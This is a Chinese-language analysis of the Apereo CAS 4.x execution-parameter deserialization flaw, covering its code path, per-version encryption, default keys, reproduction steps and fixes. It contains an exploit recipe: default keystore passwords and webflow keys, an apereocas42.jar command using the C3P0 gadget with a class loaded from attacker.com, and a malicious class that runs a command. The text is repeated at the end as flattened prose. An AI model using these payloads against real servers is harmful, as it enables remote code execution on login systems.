Apereo CAS 4.X execution参数反序列化漏洞分析
字数 1554 2025-08-26 22:11:51

Apereo CAS 4.X execution参数反序列化漏洞分析

漏洞概述

Apereo CAS 4.X版本中存在一个通过execution参数的反序列化漏洞,攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。该漏洞影响范围包括:

  • Apereo CAS 4.1.X ~ 4.1.6
  • Apereo CAS 4.1.7 ~ 4.2.X

漏洞分析

漏洞触发流程

  1. 请求处理入口:在cas-servlet.xml配置文件中,FlowExecutorImpl负责处理execution参数。

  2. 执行流程

    • FlowExecutorImpl.resumeExecution()方法接收execution参数
    • 调用executionRepository.getFlowExecution(key)获取流程执行状态
    • ClientFlowExecutionRepository.getFlowExecution()中,获取编码数据
    • 通过EncryptedTranscoder.decode()方法解密并反序列化数据
  3. 关键反序列化点

    // EncryptedTranscoder.decode()
    Object var5;
    try {
        if (this.compression) {
            in = new ObjectInputStream(new GZIPInputStream(inBuffer));
        } else {
            in = new ObjectInputStream(inBuffer);
        }
        var5 = in.readObject(); // 漏洞触发点
    }
    

不同版本的加密机制差异

4.1.X ~ 4.1.6版本

加密流程在EncryptedTranscoder类中实现:

  • 使用AES/CBC/PKCS7加密算法
  • 密钥存储在/etc/keystore.jceks文件中
  • 默认密钥信息:
    • Key alias: aes128
    • Key password: changeit
    • Keystore password: changeit

加密过程:

  1. 序列化对象
  2. 使用AES加密
  3. 进行Base64编码

4.1.7 ~ 4.2.X版本

加密流程有所变化:

  • 使用CasWebflowCipherBean进行解密
  • 加密密钥通过配置文件指定:
    webflow.encryption.key=C4SBogp_badO82wC
    webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ
    
  • 使用BinaryCipherExecutor进行实际的加密/解密操作

漏洞利用

4.1.X ~ 4.1.6版本利用

  1. 生成payload

    • 使用EncryptedTranscoder.encode()方法加密恶意序列化数据
    • 对加密结果进行Base64编码
  2. 利用步骤

    • spring-webflow-client-repo-1.0.0.jar中提取/etc/keystore.jceks
    • 使用默认密钥信息加密恶意对象
    • 构造包含恶意execution参数的请求

4.1.7 ~ 4.2.X版本利用

  1. 生成payload

    • 需要使用特定的加密工具(如apereocas42.jar)
    • 命令格式:
      java -jar apereocas42.jar <encryption.key> <signing.key> <gadget> <payload>
      示例:
      java -jar apereocas42.jar C4SBogp_badO82wC 8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ C3P0 http://attacker.com/Exploit
      
  2. 利用c3p0 gadget

    • 依赖中存在c3p0库,可利用其进行远程类加载
    • 需要准备恶意类文件托管在攻击者服务器上
  3. 恶意类示例

    public class Exploit {
        public Exploit(){
            try {
                java.lang.Runtime.getRuntime().exec(
                    new String[]{"cmd.exe","/C","calc.exe"}
                );
            } catch(Exception e){
                e.printStackTrace();
            }
        }
        public static void main(String[] argv){
            Exploit e = new Exploit();
        }
    }
    

复现步骤

4.1.5版本复现

  1. 搭建Apereo CAS 4.1.5环境
  2. 构造恶意序列化数据
  3. 使用默认密钥加密数据
  4. 发送包含恶意execution参数的请求

4.2.7版本复现

  1. 使用cas-overlay-template-4.2搭建环境
  2. 修改cas.properties配置:
    • 启用HTTP支持
    • 设置webflow密钥:
      webflow.encryption.key=C4SBogp_badO82wC
      webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ
      
  3. 使用apereocas42.jar生成加密的execution参数
  4. 准备恶意类文件并托管在服务器上
  5. 发送恶意请求触发漏洞

修复建议

  1. 升级到不受影响的版本
  2. 如果无法立即升级,可考虑:
    • 修改默认加密密钥
    • 实施输入验证
    • 限制反序列化的类

参考链接

  1. Apereo官方公告
  2. 相关Twitter讨论

总结

该漏洞通过CAS的execution参数实现反序列化攻击,不同版本的加密机制有所差异,但核心问题都在于对用户输入的反序列化操作缺乏足够的安全防护。攻击者可以利用此漏洞在目标服务器上执行任意代码,危害严重。

Apereo CAS 4.X execution参数反序列化漏洞分析 漏洞概述 Apereo CAS 4.X版本中存在一个通过execution参数的反序列化漏洞,攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。该漏洞影响范围包括: Apereo CAS 4.1.X ~ 4.1.6 Apereo CAS 4.1.7 ~ 4.2.X 漏洞分析 漏洞触发流程 请求处理入口 :在 cas-servlet.xml 配置文件中, FlowExecutorImpl 负责处理execution参数。 执行流程 : FlowExecutorImpl.resumeExecution() 方法接收execution参数 调用 executionRepository.getFlowExecution(key) 获取流程执行状态 在 ClientFlowExecutionRepository.getFlowExecution() 中,获取编码数据 通过 EncryptedTranscoder.decode() 方法解密并反序列化数据 关键反序列化点 : 不同版本的加密机制差异 4.1.X ~ 4.1.6版本 加密流程在 EncryptedTranscoder 类中实现: 使用AES/CBC/PKCS7加密算法 密钥存储在 /etc/keystore.jceks 文件中 默认密钥信息: Key alias: aes128 Key password: changeit Keystore password: changeit 加密过程: 序列化对象 使用AES加密 进行Base64编码 4.1.7 ~ 4.2.X版本 加密流程有所变化: 使用 CasWebflowCipherBean 进行解密 加密密钥通过配置文件指定: 使用 BinaryCipherExecutor 进行实际的加密/解密操作 漏洞利用 4.1.X ~ 4.1.6版本利用 生成payload : 使用 EncryptedTranscoder.encode() 方法加密恶意序列化数据 对加密结果进行Base64编码 利用步骤 : 从 spring-webflow-client-repo-1.0.0.jar 中提取 /etc/keystore.jceks 使用默认密钥信息加密恶意对象 构造包含恶意execution参数的请求 4.1.7 ~ 4.2.X版本利用 生成payload : 需要使用特定的加密工具(如apereocas42.jar) 命令格式: 利用c3p0 gadget : 依赖中存在c3p0库,可利用其进行远程类加载 需要准备恶意类文件托管在攻击者服务器上 恶意类示例 : 复现步骤 4.1.5版本复现 搭建Apereo CAS 4.1.5环境 构造恶意序列化数据 使用默认密钥加密数据 发送包含恶意execution参数的请求 4.2.7版本复现 使用cas-overlay-template-4.2搭建环境 修改 cas.properties 配置: 启用HTTP支持 设置webflow密钥: 使用apereocas42.jar生成加密的execution参数 准备恶意类文件并托管在服务器上 发送恶意请求触发漏洞 修复建议 升级到不受影响的版本 如果无法立即升级,可考虑: 修改默认加密密钥 实施输入验证 限制反序列化的类 参考链接 Apereo官方公告 相关Twitter讨论 总结 该漏洞通过CAS的execution参数实现反序列化攻击,不同版本的加密机制有所差异,但核心问题都在于对用户输入的反序列化操作缺乏足够的安全防护。攻击者可以利用此漏洞在目标服务器上执行任意代码,危害严重。